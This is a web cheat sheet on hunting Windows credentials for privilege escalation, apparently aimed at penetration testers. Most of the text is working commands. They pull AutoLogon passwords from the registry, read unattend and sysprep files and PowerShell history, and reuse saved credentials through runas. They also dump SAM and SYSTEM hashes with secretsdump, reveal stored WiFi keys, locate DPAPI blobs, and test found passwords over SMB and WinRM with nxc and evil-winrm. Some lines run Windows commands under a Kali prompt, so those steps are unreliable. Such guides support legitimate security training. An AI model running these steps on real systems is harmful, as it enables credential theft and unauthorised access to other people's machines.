Skip to content
HackIndex logo

HackIndex

Windows Credential Hunting for Privilege Escalation

4 min read Apr 24, 2026

Credentials left on Windows systems are one of the most reliable escalation paths. Passwords appear in registry keys, installation files, PowerShell history, scheduled task configurations, and application configs. Find one credential and test it against everything — password reuse is extremely common.

Prerequisites Check

C:\Users\Guest\Desktop> whoami /all
C:\Users\Guest\Desktop> net user %USERNAME%

Note your current privileges and group memberships before hunting — some credential stores require elevated access.

Registry — AutoLogon and Stored Passwords

Windows AutoLogon credentials are stored in plaintext in the registry:

C:\Users\Guest\Desktop> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
C:\Users\Guest\Desktop> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
C:\Users\Guest\Desktop> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
C:\Users\Guest\Desktop> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Broad registry password search:

C:\Users\Guest\Desktop> reg query HKLM /f password /t REG_SZ /s 2>nul
C:\Users\Guest\Desktop> reg query HKCU /f password /t REG_SZ /s 2>nul
C:\Users\Guest\Desktop> reg query HKLM /f passwd /t REG_SZ /s 2>nul
C:\Users\Guest\Desktop> reg query HKCU /f passwd /t REG_SZ /s 2>nul

PuTTY stored sessions often contain credentials:

C:\Users\Guest\Desktop> reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s

Unattend.xml and Sysprep Files

Windows deployment files frequently contain base64-encoded or plaintext administrator passwords:

C:\Users\Guest\Desktop> type C:\Windows\Panther\unattend.xml 2>nul
C:\Users\Guest\Desktop> type C:\Windows\Panther\Unattended.xml 2>nul
C:\Users\Guest\Desktop> type C:\Windows\system32\sysprep\sysprep.xml 2>nul
C:\Users\Guest\Desktop> type C:\Windows\system32\sysprep.inf 2>nul
C:\Users\Guest\Desktop> type C:\Windows\system32\sysprep\Panther\unattend.xml 2>nul

Look for <Password> tags. The value inside <Value> may be base64-encoded. Decode it:

PS C:\Users\Guest\Desktop> [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("BASE64VALUE"))

PowerShell History

PowerShell saves command history per user. Credentials typed on the command line appear here:

C:\Users\Guest\Desktop> type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
PS C:\Users\Guest\Desktop> Get-Content (Get-PSReadLineOption).HistorySavePath

Check all users if you have access:

C:\Users\Guest\Desktop> dir /s /b C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 2>nul

cmdkey — Stored Windows Credentials

cmdkey stores credentials for network resources and remote desktop sessions:

┌──(kali㉿kali)-[~]
└─$ cmdkey /list

If stored credentials exist for a target, use runas to execute commands as that user without knowing the password:

C:\Users\Guest\Desktop> runas /savecred /user:DOMAIN\Administrator "cmd.exe /c whoami > C:\Windows\Temp\whoami.txt"

See https://hackindex.io/platforms/windows/privilege-escalation/runas-stored-credentials for the full exploitation workflow.

IIS and Web Application Configs

Web server configuration files frequently contain database passwords:

C:\Users\Guest\Desktop> type C:\inetpub\wwwroot\web.config 2>nul
C:\Users\Guest\Desktop> type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config 2>nul
 
C:\Users\Guest\Desktop> # Search for connection strings and passwords
C:\Users\Guest\Desktop> findstr /si "password" C:\inetpub\*.config 2>nul
C:\Users\Guest\Desktop> findstr /si "connectionString" C:\inetpub\*.config 2>nul

Application Config Files

C:\Users\Guest\Desktop> # Common credential-containing files
C:\Users\Guest\Desktop> dir /s /b C:\*.config 2>nul | findstr /v "\.log"
C:\Users\Guest\Desktop> dir /s /b C:\*.ini 2>nul
C:\Users\Guest\Desktop> dir /s /b C:\*.txt 2>nul | findstr /i "password\|credential\|secret"
 
C:\Users\Guest\Desktop> # Search file contents
C:\Users\Guest\Desktop> findstr /si "password" C:\Users\*.txt C:\Users\*.xml C:\Users\*.ini 2>nul
C:\Users\Guest\Desktop> findstr /si "password" C:\*.xml C:\*.ini C:\*.txt 2>nul

SAM and SYSTEM — Local Password Hashes

If you have admin privileges, dump local account hashes:

C:\Users\Guest\Desktop> # Copy SAM and SYSTEM (Volume Shadow Copy method)
C:\Users\Guest\Desktop> reg save HKLM\SAM C:\Windows\Temp\SAM
C:\Users\Guest\Desktop> reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
 
C:\Users\Guest\Desktop> # Transfer to attack box and extract hashes
C:\Users\Guest\Desktop> impacket-secretsdump -sam SAM -system SYSTEM LOCAL

For the full hash dumping and cracking workflow see https://hackindex.io/platforms/windows/privilege-escalation/windows-password-attacks.

WiFi Passwords

Stored WiFi profiles often contain plaintext PSK passwords:

C:\Users\Guest\Desktop> netsh wlan show profiles
C:\Users\Guest\Desktop> netsh wlan show profile name="PROFILENAME" key=clear

The Key Content field is the plaintext WiFi password. Administrators frequently reuse WiFi passwords for local accounts.

DPAPI Credential Files

Windows DPAPI protects stored browser passwords, RDP credentials, and application secrets. If you have access to a user's profile:

C:\Users\Guest\Desktop> # List DPAPI credential files
C:\Users\Guest\Desktop> dir /s /b C:\Users\*\AppData\Roaming\Microsoft\Credentials\ 2>nul
C:\Users\Guest\Desktop> dir /s /b C:\Users\*\AppData\Local\Microsoft\Credentials\ 2>nul

For DPAPI decryption see https://hackindex.io/platforms/windows/privilege-escalation/dpapi-credential-decryption.

winPEAS covers most of these automatically:

C:\Users\Guest\Desktop> .\winpeas.exe windowscreds
C:\Users\Guest\Desktop> .\winpeas.exe filesinfo

PowerUp also checks AutoLogon and common credential locations:

PS C:\Users\Guest\Desktop> Get-RegistryAutoLogon
PS C:\Users\Guest\Desktop> Get-CachedGPPPassword

Password Reuse Testing

Once you find any credential, test it everywhere:

┌──(kali㉿kali)-[~]
└─$ # Test against local accounts via runas
┌──(kali㉿kali)-[~]
└─$ runas /user:Administrator cmd.exe
 
┌──(kali㉿kali)-[~]
└─$ # Test against remote services from attack box
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u Administrator -p "FOUNDPASSWORD"
┌──(kali㉿kali)-[~]
└─$ nxc winrm $TARGET_IP -u Administrator -p "FOUNDPASSWORD"
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u Administrator -p "FOUNDPASSWORD"

References